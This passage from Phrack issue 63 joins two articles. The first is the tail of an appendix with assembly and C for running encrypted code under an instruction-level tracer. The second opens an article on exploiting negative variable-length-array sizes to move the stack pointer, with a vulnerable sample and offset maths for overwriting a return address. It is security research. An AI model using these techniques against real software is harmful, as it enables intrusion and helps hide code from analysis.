 * - some instructions are not emulated (FAR CALL/JMP/RET, RET NEAR imm16)
 * - LOOP* and JCXZ opcodes haven't been tested
 * - _jcc_rel32 has been tested only indirectly by _jcc_rel8
 ***********************************************************************/

/*
  Offsets into xde_instr struct.
*/
#define OPCODE  23
#define OPCODE2 24
#define MODRM   25

/*
 Set up our stack and save traced context. The context is saved at the end
 of our stack.
*/
#define SAVE_TRACED_CONTEXT \
    movl %esp, traced_esp   ;\
    movl $stk_end, %esp     ;\
    pusha                   ;\
    pushf

/*
 Restore traced context from the current top of stack. After that restores
 traced stack pointer.
*/
#define RESTORE_TRACED_CONTEXT \
    popf                    ;\
    popa                    ;\
    movl traced_esp, %esp

/*
 Identity decryption routine. This just copies 8 bytes (BLOCKSIZE) from
 source to destination. Has normal C calling convention. Is not global.
*/
identity_decrypt:
    movl 8(%esp), %edi              /* destination address */
    movl 12(%esp), %esi             /* source address */
    movl $8, %ecx                   /* 8 bytes */
    cld
    rep movsb
    ret

crypt_exec:
.globl crypt_exec
.extern disasm

    /*
     Fetch all arguments. We are called from C and not expected to save
     registers. This is the stack on entry:
     [ ret_addr dfn key lo_addr hi_addr addr ...args ]
    */
    popl %eax                       /* return address */
```

```
    popl r_decrypt                  /* real decryption function pointer */
    popl key                        /* encryption key */
    popl lo_addr                    /* low traced eip */
    popl hi_addr                    /* high traced eip */
    popl traced_eip                 /* eip to start tracing */
    pushl %eax                      /* put return addr to stack again */

    /*
     now the stack frame resembles as if inner function (starting at
     traced_eip) were called by normal C calling convention (after return
     address, the vararg arguments folow)
    */
    movl %esp, end_esp              /* this is used to stop tracing. */
    movl $0, traced_ctr             /* reset counter of insns to 0 */

decryptloop:
    /*
     This loop traces a single instruction.

     The CONTEXT at the start of each iteration:
     traced_eip: points to the next instruction in traced program

     First what we ever do is switch to our own stack and store the traced
     program's registers including eflags.

     Instructions are encrypted in ECB mode in blocks of 8 bytes.
     Therefore, we always must start decryption at the lower 8-byte
     boundary. The total of three blocks (24) bytes are decrypted for one
     instruction. This is due to alignment and maximum instruction length
     constraints: if the instruction begins at addres that is congruent
     to 7 mod 8 + 16 bytes maximum length (given some slack) gives
     instruction span of three blocks.

     Yeah, I know ECB sucks, but this is currently just a proof-of
     concept.  Design something better for yourself if you need it.
    */
    SAVE_TRACED_CONTEXT

decryptloop_nocontext:
    /*
     This loop entry point does not save traced context. It is used from
     control transfer instruction emulation where we doall work ourselves
     and don't use traced context.

     The CONTEXT upon entry is the same as for decryptloop.

     First decide whether to decrypt or just trace the plaintext code.
    */
    movl traced_eip, %eax
    movl $identity_decrypt, %ebx    /* assume no decryption */
    cmpl lo_addr, %eax
    jb .store_decrypt_ptr           /* traced_eip < lo_addr */
    cmpl hi_addr, %eax
    ja .store_decrypt_ptr           /* traced_eip > hi_addr */
    movl r_decrypt, %ebx            /* in bounds, do decryption */
.store_decrypt_ptr:
    movl %ebx, decrypt

    /*
     Decrypt three blocks starting at eax, reusing arguments on the stack
     for the total of 3 calls. WARNING! For this to work properly, the
     decryption function MUST NOT modify its arguments!
    */
    andl $-8, %eax                  /* round down traced_eip to 8 bytes */
    pushl %eax                      /* src buffer */
    pushl $insn                     /* dst buffer */
    pushl key                       /* key data pointer */
    call *decrypt                   /* 1st block */
    addl $8, 4(%esp)                /* advance dst */
    addl $8, 8(%esp)                /* advance src */
```

```
    call *decrypt                     /* 2nd block */
    addl $8, 4(%esp)                  /* advance dst */
    addl $8, 8(%esp)                  /* advance src */
    call *decrypt                     /* 3rd block */
    addl $12, %esp                    /* clear args from stack */

    /*
     Obtain the real start of instruction in the decrypted buffer. The
     traced eip is taken modulo blocksize (8) and added to the start
     address of decrypted buffer. Then XDE is called (standard C calling
     convention) to get necessary information about the instruction.
    */
    movl traced_eip, %eax
    andl $7, %eax                     /* traced_eip mod 8 */
    addl $insn, %eax                  /* offset within decrypted buffer */
    pushl $disbuf                     /* address to disassemble into */
    pushl %eax                        /* insn offset to disassemble */
    call xde_disasm                   /* disassemble and return len */
    movl %eax, ilen                   /* store instruction length */
    popl %eax                         /* decrypted insn start */
    popl %ebx                         /* clear remaining arg from stack */

    /*
     Calculate the offset in control table of the instruction handling
     routine. Non-control transfer instructions are just executed in
     traced context, other instructions are emulated.

     Before executing the instruction, the traced eip is advanced by
     instruction length, and the number of executed instructions is
     incremented. We also append indirect 'jmp *continue' after the
     instruction, to continue execution at appropriate place in our
     tracing.  The JMP indirect opcodes are 0xFF 0x25.
    */
    movl ilen, %ebx
    addl %ebx, traced_eip             /* advance traced eip */
    incl traced_ctr                   /* increment counter */
    movw $0x25FF, (%eax, %ebx)        /* JMP indirect; little-endian! */
    movl $continue, 2(%eax, %ebx)     /* store address */
    movzbl OPCODE+disbuf, %esi        /* load instruction byte */
    jmp *control_table(,%esi,4)       /* execute by appropirate handler */

.data
    /*
     Emulation routines start here. They are in data segment because code
     segment isn't writable and we are modifying our own code. We don't
     want yet to mess around with mprotect(). One day (non-exec page table
     support on x86-64) it will have to be done anyway..

     The CONTEXT upon entry on each emulation routine:
     eax        : start of decrypted (CURRENT) insn addr to execute
     ilen       : instruction length in bytes
     stack top -> [traced: eflags edi esi ebp esp ebx edx ecx eax]
     traced_esp : original program's esp
     traced_eip : eip of next insn to execute (NOT of CURRENT insn!)
    */

_unhandled:
    /*
     Unhandled opcodes not normally generated by compiler. Once proper
     emulation routine is written, they become handled :)

     Executing privileged instruction, such as HLT, is the easiest way to
     terminate the program. %eax holds the address of the instruction we
     were trying to trace so it can be observed from debugger.
    */
     hlt

_nonjump:
    /*
     Common emulation for all non-control transfer instructions.
```

```
     Instruction buffer (insn) is already filled with decrypted blocks.

     Decrypted instruction can begin in the middle of insn buffer, so the
     relative jmp instruction is adjusted to jump to the traced insn,
     skipping 'junk' at the beginning of insn.

     When the instruction is executed, our execution continues at location
     where 'continue' points to. Normally, this is decryptloop, but
     occasionaly it is temporarily changed (e.g. in _grp5).
    */
    subl $insn, %eax                /* insn begin within insn buffer */
    movb %al, .execute+1            /* update jmp instruction */
    RESTORE_TRACED_CONTEXT
.execute:
    jmp insn                        /* relative, only offset adjusted */
insn:
    .fill 32, 1, 0x90

_jcc_rel8:
    /*
     Relative 8-bit displacement conditional jump. It is handled by
     relative 32-bit displacement jump, once offset is adjusted. Opcode
     must also be adjusted: short jumps are 0x70-0x7F, long jumps are 0x0F
     0x80-0x8F. (conditions correspond directly). Converting short to long
     jump needs adding 0x10 to 2nd opcode.
    */
    movsbl 1(%eax), %ebx            /* load sign-extended offset */
    movb (%eax), %cl                /* load instruction */
    addb $0x10, %cl                 /* adjust opcode to long form */
    /* drop processing to _jcc_rel32 as 32-bit displacement */

_jcc_rel32:
    /*
     Emulate 32-bit conditional relative jump. We pop the traced flags,
     let the Jcc instruction execute natively, and then adjust traced eip
     ourselves, depending whether Jcc was taken or not.

     CONTEXT:
     ebx: jump offset, sign-extended to 32 bits
     cl : real 2nd opcode of the instruction (1st is 0x0F escape)
    */
    movb %cl, ._jcc_rel32_insn+1    /* store opcode to instruction */
    popf                            /* restore traced flags */

._jcc_rel32_insn:
    /*
     Explicit coding of 32-bit relative conditional jump. It is executed
     with the traced flags. Also the jump offset (32 bit) is supplied.
    */
    .byte 0x0F, 0x80
    .long ._jcc_rel32_true - ._jcc_rel32_false

._jcc_rel32_false:
    /*
     The Jcc condition was false. Just save traced flags and continue to
     next instruction.
    */
    pushf
    jmp decryptloop_nocontext

._jcc_rel32_true:
    /*
     The Jcc condition was true. Traced flags are saved, and then the
     execution falls through to the common eip offset-adjusting routine.
    */
    pushf

rel_offset_fixup:
    /*
     Common entry point to fix up traced eip for relative control-flow
```

```
     instructions.

     CONTEXT:
     traced_eip: already advanced to the would-be next instruction. this
                 is done in decrypt_loop before transferring control to
                 any insn-handler.
     ebx       : sign-extended 32-bit offset to add to eip
    */
    addl %ebx, traced_eip
    jmp decryptloop_nocontext

_retn:
    /*
     Near return (without imm16). This is the place where the end-of
     trace condition is checked. If, at this point, esp equals end_esp,
     this means that the crypt_exec would return to its caller.
    */
    movl traced_esp, %ebp           /* compare curr traced esp to esp */
    cmpl %ebp, end_esp              /* when crypt_exec caller's return */
    je ._endtrace                   /* address was on top of the stack */

    /*
     Not equal, emulate ret.
    */
    movl %esp, %ebp                 /* save our current stack */
    movl traced_esp, %esp           /* get traced stack */
    popl traced_eip                 /* pop return address */
    movl %esp, traced_esp           /* write back traced stack */
    movl %ebp, %esp                 /* restore our current stack */
    jmp decryptloop_nocontext

._endtrace:
    /*
     Here the traced context is completely restored and RET is executed
     natively. Our tracing routine is no longer in control after RET.
     Regarding C calling convention, the caller of crypt_exec will get
     the return value of traced function.

     One detail we must watch for: the stack now looks like this:

     stack top -> [ ret_addr ...args ]

     but we have been called like this:

     stack top -> [ ret_addr dfn key lo_addr hi_addr addr ...args ]

     and this is what compiler expects when popping arg list. So we must
     fix the stack. The stack pointer can be just adjusted by -20 instead
     of reconstructing the previous state because C functions are free to
     modify their arguments.

     CONTEXT:
     ebp: current traced esp
    */
    movl (%ebp), %ebx               /* return address */
    subl $20, %ebp                  /* fake 5 extra args */
    movl %ebx, (%ebp)               /* put ret addr on top of stack */
    movl %ebp, traced_esp           /* store adjusted stack */
    RESTORE_TRACED_CONTEXT
    ret                             /* return without regaining control */

    /*
     LOOPNE, LOOPE and LOOP instructions are executed from the common
     handler (_doloop). Only the instruction opcode is written from
     separate handlers.

     28 is the offset of traced ecx register that is saved on our stack.
    */
_loopne:
    movb $0xE0, ._loop_insn         /* loopne opcode */
```

```
    jmp ._doloop
_loope:
    movb $0xE1, ._loop_insn         /* loope opcode */
    jmp ._doloop
_loop:
    movb $0xE2, ._loop_insn         /* loop opcode */
._doloop:
    /*
     * Get traced context that is relevant for LOOP* execution: signed
     * offset, traced ecx and traced flags.
     */
    movsbl 1(%eax), %ebx
    movl 28(%esp), %ecx
    popf

._loop_insn:
    /*
     Explicit coding of loop instruction and offset.
    */
    .byte 0xE0                      /* LOOP* opcodes: E0, E1, E2 */
    .byte ._loop_insn_true - ._loop_insn_false

._loop_insn_false:
    /*
     LOOP* condition false. Save only modified context (flags and ecx)
     and continue tracing.
    */
    pushf
    movl %ecx, 28(%esp)
    jmp decryptloop_nocontext

._loop_insn_true:
    /*
     LOOP* condition true. Save only modified context, and jump to the
     rel_offset_fixup to fix up traced eip.
    */
    pushf
    movl %ecx, 28(%esp)
    jmp rel_offset_fixup

_jcxz:
    /*
     JCXZ. This is easier to simulate than to natively execute.
    */
    movsbl 1(%eax), %ebx            /* get signed offset */
    cmpl $0, 28(%esp)               /* test traced ecx for 0 */
    jz rel_offset_fixup             /* if so, fix up traced EIP */
    jmp decryptloop_nocontext

_callrel:
    /*
     Relative CALL.
    */
    movb $1, %cl                    /* 1 to indicates relative call */
    movl 1(%eax), %ebx              /* get offset */

_call:
    /*
     CALL emulation.

     CONTEXT:
     cl : relative/absolute indicator.
     ebx: absolute address (cl==0) or relative offset (cl!=0).
    */
    movl %esp, %ebp                 /* save our stack */
    movl traced_esp, %esp           /* push traced eip onto */
    pushl traced_eip                /* traced stack */
    movl %esp, traced_esp           /* write back traced stack */
    movl %ebp, %esp                 /* restore our stack */
    testb %cl, %cl                  /* if not zero, then it is a */
```

```
    jnz rel_offset_fixup            /* relative call */
    movl %ebx, traced_eip           /* store dst eip */
    jmp decryptloop_nocontext       /* continue execution */

_jmp_rel8:
    /*
     Relative 8-bit displacement JMP.
    */
    movsbl 1(%eax), %ebx            /* get signed offset */
    jmp rel_offset_fixup

_jmp_rel32:
    /*
     Relative 32-bit displacement JMP.
    */
    movl 1(%eax), %ebx              /* get offset */
    jmp rel_offset_fixup

_grp5:
    /*
     This is the case for 0xFF opcode which escapes to GRP5: the real
     instruction opcode is hidden in bits 5, 4, and 3 of the modR/M byte.
    */
    movb MODRM+disbuf, %bl          /* get modRM byte */
    shr $3, %bl                     /* shift bits 3-5 to 0-2 */
    andb $7, %bl                    /* and test only bits 0-2 */
    cmpb $2, %bl                    /* < 2, not control transfer */
    jb _nonjump
    cmpb $5, %bl                    /* > 5, not control transfer */
    ja _nonjump
    cmpb $3, %bl                    /* CALL FAR */
    je _unhandled
    cmpb $5, %bl                    /* JMP FAR */
    je _unhandled
    movb %bl, %dl                   /* for future reference */

    /*
     modR/M equals 2 or 4 (near CALL or JMP).
     In this case the reg field of modR/M (bits 3-5) is the part of
     instruction opcode.

     Replace instruction byte 0xFF with 0x8B (MOV r/m32 to reg32 opcode).
     Replace reg field with 3 (ebx register index).
    */
    movb $0x8B, (%eax)          /* replace with MOV_to_reg32 opcode */
    movb 1(%eax), %bl           /* get modR/M byte */
    andb $0xC7, %bl             /* mask bits 3-5 */
    orb $0x18, %bl              /* set them to 011=3: ebx reg index */
    movb %bl, 1(%eax)           /* set MOV target to ebx */

    /*
     We temporarily update continue location to continue execution in
     this code instead of jumping to decryptloop. We execute MOV in TRACED
     context because it must use traced registers for address calculation.
     Before that we save OUR esp so that original TRACED context isn't
     lost (MOV updates ebx, traced CALL wouldn't mess with any registers).

     First we save OUR context, but after that we must restore TRACED ctx.
     In order to do that, we must adjust esp to point to traced context
     before restoration.
    */
    movl $._grp5_continue, continue
    movl %esp, %ebp             /* save traced context pointer into ebp */
    pusha                       /* store our context; eflags irrelevant */
    movl %esp, our_esp          /* our context pointer */
    movl %ebp, %esp             /* adjust traced context pointer */
    jmp _nonjump

._grp5_continue:
    /*
```

```
     This is where execution continues after MOV calculates effective
     address for us.

     CONTEXT upon entry:
     ebx: target address where traced execution should continue
     dl : opcode part (bits 3-5) of modR/M, shifted to bits 0-2
    */
    movl $decryptloop, continue     /* restore continue location */
    movl our_esp, %esp              /* restore our esp */
    movl %ebx, 16(%esp)             /* so that ebx is restored anew */
    popa                            /* our context along with new ebx */
    cmpb $2, %dl                    /* CALL near indirect */
    je ._grp5_call
    movl %ebx, traced_eip           /* JMP near indirect */
    jmp decryptloop_nocontext
._grp5_call:
    xorb %cl, %cl                   /* mark: addr in ebx is absolute */
    jmp _call

_0xf:
    /*
     0x0F opcode esacpe for two-byte opcodes. Only 0F 0x80-0x8F range are
     Jcc rel32 instructions. Others are normal instructions.
    */
    movb OPCODE2+disbuf, %cl        /* extended opcode */
    cmpb $0x80, %cl
    jb _nonjump                     /* < 0x80, not Jcc */
    cmpb $0x8F, %cl
    ja _nonjump                     /* > 0x8F, not Jcc */
    movl 2(%eax), %ebx              /* load 32-bit offset */
    jmp _jcc_rel32

control_table:
    /*
     This is the jump table for instruction execution dispatch. When the
     real opcode of the instruction is found, the tracer jumps indirectly
     to execution routine based on this table.
    */
    .rept 0x0F                      /* 0x00 - 0x0E */
    .long _nonjump                  /* normal opcodes */
    .endr
    .long _0xf                      /* 0x0F two-byte escape */

    .rept 0x60                      /* 0x10 - 0x6F */
    .long _nonjump                  /* normal opcodes */
    .endr

    .rept 0x10                      /* 0x70 - 0x7F */
    .long _jcc_rel8                 /* relative 8-bit displacement */
    .endr

    .rept 0x10                      /* 0x80 - 0x8F */
    .long _nonjump                  /* long displ jump handled from */
    .endr                           /* _0xf opcode escape */

    .rept 0x0A                      /* 0x90 - 0x99 */
.long _nonjump
    .endr
    .long _unhandled                /* 0x9A: far call to full pointer */
    .rept 0x05                      /* 0x9B - 0x9F */
    .long _nonjump
    .endr

    .rept 0x20                      /* 0xA0 - 0xBF */
    .long _nonjump
    .endr

    .long _nonjump, _nonjump        /* 0xC0, 0xC1 */
    .long _unhandled                /* 0xC2: retn imm16 */
    .long _retn                     /* 0xC3: retn */
```

```
    .rept 0x06                      /* 0xC4 - 0xC9 */
    .long _nonjump
    .endr
    .long _unhandled, _unhandled    /* 0xCA, 0xCB : far ret */
    .rept 0x04
    .long _nonjump
    .endr

    .rept 0x10                      /* 0xD0 - 0xDF */
    .long _nonjump
    .endr

    .long _loopne, _loope           /* 0xE0, 0xE1 */
    .long _loop, _jcxz              /* 0xE2, 0xE3 */
    .rept 0x04                      /* 0xE4 - 0xE7 */
    .long _nonjump
    .endr
    .long _callrel                  /* 0xE8 */
    .long _jmp_rel32                /* 0xE9 */
    .long _unhandled                /* far jump to full pointer */
    .long _jmp_rel8                 /* 0xEB */
    .rept 0x04                      /* 0xEC - 0xEF */
    .long _nonjump
    .endr

    .rept 0x0F                      /* 0xF0 - 0xFE */
    .long _nonjump
    .endr
    .long _grp5                     /* 0xFF: group 5 instructions */

.data
continue:   .long decryptloop       /* where to continue after 1 insn */

.bss
.align  4
traced_esp: .long 0                 /* traced esp */
traced_eip: .long 0                 /* traced eip */
traced_ctr: .long 0                 /* incremented by 1 for each insn */
lo_addr:    .long 0                 /* low encrypted eip */
hi_addr:    .long 0                 /* high encrypted eip */
our_esp:    .long 0                 /* our esp... */
end_esp:    .long 0                 /* esp when we should stop tracing */
local_stk:  .fill 1024, 4, 0        /* local stack space (to call C) */
stk_end = .                         /* we need this.. */
ilen:       .long 0                 /* instruction length */
key:        .long 0                 /* pointer to key data */
decrypt:    .long 0                 /* USED decryption function */
r_decrypt:  .long 0                 /* REAL decryption function */
disbuf:     .fill 128, 1, 0         /* xde disassembly buffer */
```

----[A.2 - The file encryption utility source: cryptfile.c

```
/*
Copyright (c) 2004 Zeljko Vrba

Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:

The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
```

```
/*
 * This program encrypts a portion of the file, writing new file with
 * .crypt appended. The permissions (execute, et al) are NOT preserved!
 * The blocksize of 8 bytes is hardcoded.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include "cast5.h"

#define BLOCKSIZE 8
#define KEYSIZE 16

typedef void (*cryptblock_f)(void*, u8*, const u8*);

static unsigned char *decode_hex_key(char *hex)
{
    static unsigned char key[KEYSIZE];
    int i;

    if(strlen(hex) != KEYSIZE << 1) {
        fprintf(stderr, "KEY must have EXACTLY %d hex digits.\n",
          KEYSIZE << 1);
       exit(1);
    }

    for(i = 0; i < KEYSIZE; i++, hex += 2) {
        unsigned int x;
        char old = hex[2];

        hex[2] = 0;
        if(sscanf(hex, "%02x", &x) != 1) {
            fprintf(stderr, "non-hex digit in KEY.\n");
            exit(1);
        }
        hex[2] = old;
        key[i] = x;
    }

    return key;
}

static void *docrypt(
    FILE *in, FILE *out,
    long startoff, long endoff,
    cryptblock_f crypt, void *ctx)
{
    char buf[BLOCKSIZE], enc[BLOCKSIZE];
    long curroff = 0;
    size_t nread = 0;

    while((nread = fread(buf, 1, BLOCKSIZE, in)) > 0) {
        long diff = startoff - curroff;

        if((diff < BLOCKSIZE) && (diff > 0)) {
            /*
            this handles the following mis-alignment (each . is 1 byte)
            ...[..|......]....
                ^  ^      ^ curoff+BLOCKSIZE
                |  startoff
```

```
             curroff
            */
            if(fwrite(buf, 1, diff, out) < diff) {
                perror("fwrite");
                exit(1);
            }
            memmove(buf, buf + diff, BLOCKSIZE - diff);
            fread(buf + BLOCKSIZE - diff, 1, diff, in);
            curroff = startoff;
        }

        if((curroff >= startoff) && (curroff < endoff)) {
            crypt(ctx, enc, buf);
        } else {
            memcpy(enc, buf, BLOCKSIZE);
        }
        if(fwrite(enc, 1, nread, out) < nread) {
            perror("fwrite");
            exit(1);
        }
        curroff += nread;
    }
}

int main(int argc, char **argv)
{
    FILE *in, *out;
    long startoff, endoff;
    char outfname[256];
    unsigned char *key;
    struct cast5_ctx ctx;
    cryptblock_f mode;

    if(argc != 6) {
        fprintf(stderr, "USAGE: %s <-e|-d> FILE KEY STARTOFF ENDOFF\n",
          argv[0]);
        fprintf(stderr, "KEY MUST be 32 hex digits (128 bits).\n");
        return 1;
    }

    if(!strcmp(argv[1], "-e")) {
        mode = cast5_encrypt;
    } else if(!strcmp(argv[1], "-d")) {
        mode = cast5_decrypt;
    } else {
        fprintf(stderr, "invalid mode (must be either -e od -d)\n");
        return 1;
    }

    startoff = atol(argv[4]);
    endoff = atol(argv[5]);
    key = decode_hex_key(argv[3]);

    if(cast5_setkey(&ctx, key, KEYSIZE) < 0) {
        fprintf(stderr, "error setting key (maybe invalid length)\n");
        return 1;
    }

    if((endoff - startoff) & (BLOCKSIZE-1)) {
        fprintf(stderr, "STARTOFF and ENDOFF must span an exact multiple"
          " of %d bytes\n", BLOCKSIZE);
        return 1;
    }
    if((endoff - startoff) < BLOCKSIZE) {
        fprintf(stderr, "STARTOFF and ENDOFF must span at least"
          " %d bytes\n", BLOCKSIZE);
        return 1;
    }

    sprintf(outfname, "%s.crypt", argv[2]);
```

```
    if(!(in = fopen(argv[2], "r"))) {
        fprintf(stderr, "fopen(%s): %s\n", argv[2], strerror(errno));
        return 1;
    }
    if(!(out = fopen(outfname, "w"))) {
        fprintf(stderr, "fopen(%s): %s\n", outfname, strerror(errno));
        return 1;
    }

    docrypt(in, out, startoff, endoff, mode, &ctx);

    fclose(in);
    fclose(out);
    return 0;
}
```

----[A.3 - The test program: test2.c

```
/*
Copyright (c) 2004 Zeljko Vrba

Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to permit
persons to whom the Software is furnished to do so, subject to the
following conditions:

The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT
OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR
THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "cast5.h"

#define BLOCKSIZE 8
#define KEYSIZE 16

/*
 * f1 and f2 are encrypted with the following 128-bit key:
 * 5f4dcc3b5aa765d61d8327deb882cf99 (MD5 of the string 'password')
 */

static int f1(int a)
{
    int i, s = 0;

    for(i = 0; i < a; i++) {
        s += i*i;
    }
    printf("called plaintext code: f1 = %d\n", a);
    return s;
}

static int f2(int a, int b)
{
```

```
    int i;

    a = f1(a);
    for(i = 0; i < b; i++) {
        a += b;
    }
    return a;
}

static unsigned char *decode_hex_key(char *hex)
{
    static unsigned char key[KEYSIZE];
    int i;

    if(strlen(hex) != KEYSIZE << 1) {
        fprintf(stderr, "KEY must have EXACTLY %d hex digits.\n",
          KEYSIZE << 1);
        exit(1);
    }

    for(i = 0; i < KEYSIZE; i++, hex += 2) {
        unsigned int x;
        char old = hex[2];

        hex[2] = 0;
        if(sscanf(hex, "%02x", &x) != 1) {
            fprintf(stderr, "non-hex digit in KEY.\n");
            exit(1);
        }
        hex[2] = old;
        key[i] = x;
    }

    return key;
}

int main(int argc, char **argv)
{
    int a, b, result;
    char op[16], hex[256];
    void *esp;
    struct cast5_ctx ctx;

    printf("enter decryption key: ");
    scanf("%255s", hex);
    if(cast5_setkey(&ctx, decode_hex_key(hex), KEYSIZE) < 0) {
        fprintf(stderr, "error setting key.\n");
        return 1;
    }

    printf("a b = "); scanf("%d %d", &a, &b);

    asm("movl %%esp, %0" : "=m" (esp));
    printf("esp=%p\n", esp);
    result = crypt_exec(cast5_decrypt, &ctx, f1, decode_hex_key,
      f2, a, b);
    asm("movl %%esp, %0" : "=m" (esp));
    printf("esp=%p\n", esp);
    printf("result = %d\n", result);

    return 0;
}
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x0e of 0x14

```
|=-----=[ Clutching at straws: When you can shift the stack pointer ]=-----=|
|=-------------------------------------------------------------------------=|
|=----------=[ Andrew Griffiths <andrewg@felinemenace.org> ]=-------------=|
```

--[Table of contents

--[1 - Introduction

The paper documents a rare, but none-the less interesting bug in variable sized arrays in C. This condition appears when a user supplied length is passed via a parameter to a variable declaration in a function.

As a result of this, an attacker may be able to "shift" the stack pointer to point it to somewhere unexpected, such as above the stack pointer, or somewhere else like the Global Offset Table.

--[2 - The story

After playing a couple rounds of pool and drinking at a local pub, nemo talked about some of the fruits after the days auditing session. He mentioned that there was some interesting code constructs which he hadn't fully explored yet (perhaps because I dragged him out drinking).

Basically, the code vaguely looked like:

```
int function(int len, some_other_args)
{
        int a;
        struct whatever *b;
        unsigned long c[len];

        if(len > SOME_DEFINE) {
                return ERROR;
        }

        /* rest of the code */
}
```

and we started discussing about that, and how we could take advantage of that. After various talks about the compiler emitting code that wouldn't allow it, architectures that it'd work on (and caveats of those architectures), and of course, another round or two drinks, we came to the conclusion that it'd be perfectly feasible to exploit, and it would be a standard esp -= user_supplied_value;

The problem in the above code, is that if len is user-supplied it would be possible to make it negative, and move the stack pointer move closer to the top of the stack, as opposed to closer to the bottom (assuming the stack grows down.)

----[2.1 - C99 standard note

The C99 standard allows for variable-length array declaration:

To quote,

```
"In this example, the size of a variable-length array is computed
 and returned from a function:

 size_t fsize3 (int n)
 {
        char b[n+3]; //Variable length array.
        return sizeof b; // Execution timesizeof.
 }

 int main()
 {
   size_t size;
   size = fsize3(10); // fsize3 returns 13.
   return 0;
 }"
```

--[3 - Break down

Here is the (convoluted) C file we'll be using as an example.
We'll cover more things later on in the article.

```
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/types.h>

int func(int len, char *stuff)
{
        char x[len];

        printf("sizeof(x): %d\n", sizeof(x));
        strncpy(x, stuff, 4);
        return 58;
}

int main(int argc, char **argv)
{
        return func(atoi(argv[1]), argv[2]);
}
```

The question arises though, what instructions does the compiler
generate for the func function?

Here is the resulting disassembly from "gcc version 3.3.5
(Debian 1:3.3.5-8ubuntu2)", gcc dmeiswrong.c -o dmeiswrong.

```
080483f4 <func>:
 80483f4: 55                    push   %ebp
 80483f5: 89 e5                 mov    %esp,%ebp ; standard function
                                                 ; prologue
 80483f7: 56                    push   %esi
 80483f8: 53                    push   %ebx ; preserve the appropriate
                                            ; register contents.
 80483f9: 83 ec 10              sub    $0x10,%esp ; setup local
                                                  ; variables
 80483fc: 89 e6                 mov    %esp,%esi ; preserve the esp
                                                 ; register
 80483fe: 8b 55 08              mov    0x8(%ebp),%edx ; get the length
 8048401: 4a                    dec    %edx      ; decrement it
 8048402: 8d 42 01              lea    0x1(%edx),%eax ; eax = edx + 1
 8048405: 83 c0 0f              add    $0xf,%eax
 8048408: c1 e8 04              shr    $0x4,%eax
 804840b: c1 e0 04              shl    $0x4,%eax
```

The last three lines are eax = (((eax + 15) >> 4) << 4); This rounds up and aligns eax to a paragraph boundary.

```
 804840e: 29 c4                sub    %eax,%esp ; adjust esp
 8048410: 8d 5c 24 0c          lea    0xc(%esp),%ebx ; ebx = esp + 12
 8048414: 8d 42 01             lea    0x1(%edx),%eax ; eax = edx + 1
 8048417: 89 44 24 04          mov    %eax,0x4(%esp) ; len argument
 804841b: c7 04 24 78 85 04 08 movl   $0x8048578,(%esp) ; fmt string
                                                   ; "sizeof(x): %d\n"
 8048422: e8 d9 fe ff ff       call   8048300 <_init+0x3c> ; printf

 8048427: c7 44 24 08 04 00 00 movl   $0x4,0x8(%esp) ; len arg to
 804842e: 00                                         ; strncpy
 804842f: 8b 45 0c             mov    0xc(%ebp),%eax
 8048432: 89 44 24 04          mov    %eax,0x4(%esp) ; data to copy
 8048436: 89 1c 24             mov    %ebx,(%esp)    ; where to write

 ; ebx = adjusted esp + 12 (see 0x8048410)

 8048439: e8 e2 fe ff ff       call   8048320 <_init+0x5c> ; strncpy
 804843e: 89 f4                mov    %esi,%esp  ; restore esp
 8048440: b8 3a 00 00 00       mov    $0x3a,%eax ; ready to return 58
 8048445: 8d 65 f8             lea    0xfffffff8(%ebp),%esp
                                ; we restore esp again, just in case it
                                ; didn't happen in the first place.
 8048448: 5b                   pop    %ebx
 8048449: 5e                   pop    %esi
 804844a: 5d                   pop    %ebp
 804844b: c3                   ret ; restore registers and return.
```

What can we learn from the above assembly output?

1) There is some rounding done on the supplied value, thus meaning small negative values (-15 > -1) and small values (1 - 15) will become 0. This might possibly be useful, as we'll see below.

   When the supplied value is -16 or less, then it will be possible to move the stack pointer backwards (closer to the top of the stack).

   The instruction sub $eax, %esp at 0x804840e can be seen as add $16, %esp when len is -16.[1]

2) The stack pointer is subtracted by the paragraph-aligned supplied value.

   Since we can supply an almost arbitary value to this, we can point the stack pointer at a specified paragraph.

   If the stack pointer value is known, we can calcuate the offset needed to point the stack at that location in memory. This allows us to modify writable sections such as the GOT and heap.

3) gcc can output some wierd assembly constructs.

--[4 - Moving on

So what does the stack diagram look like in this case? When we reach 0x804840e (sub esp, eax) this is how it looks.

```
                     +------------+
0xc0000000           |   ......   | Top of stack.
                     |   ......   |
0xbffff86c           | 0x08048482 | Return address
0xbffff868           | 0xbffff878 | Saved EBP
0xbffff864           |   ......   | Saved ESI
0xbffff860           |   ......   | Saved EBX
0xbffff85c           |   ......   | Local variable space
0xbffff858           |   ......   | Local variable space
```

```
0xbffff854      |   ......   | Local variable space
0xbffff850      +------------+ ESP
```

To overwrite the saved return address, we need to calculate what to make it subtract by.

```
delta = 0xbffff86c - 0xbffff850
delta = 28
```

We need to subtract 12 from our delta value because of the instruction at 0x08048410 (lea 0xc(%esp),%ebx) so we end up with 16.

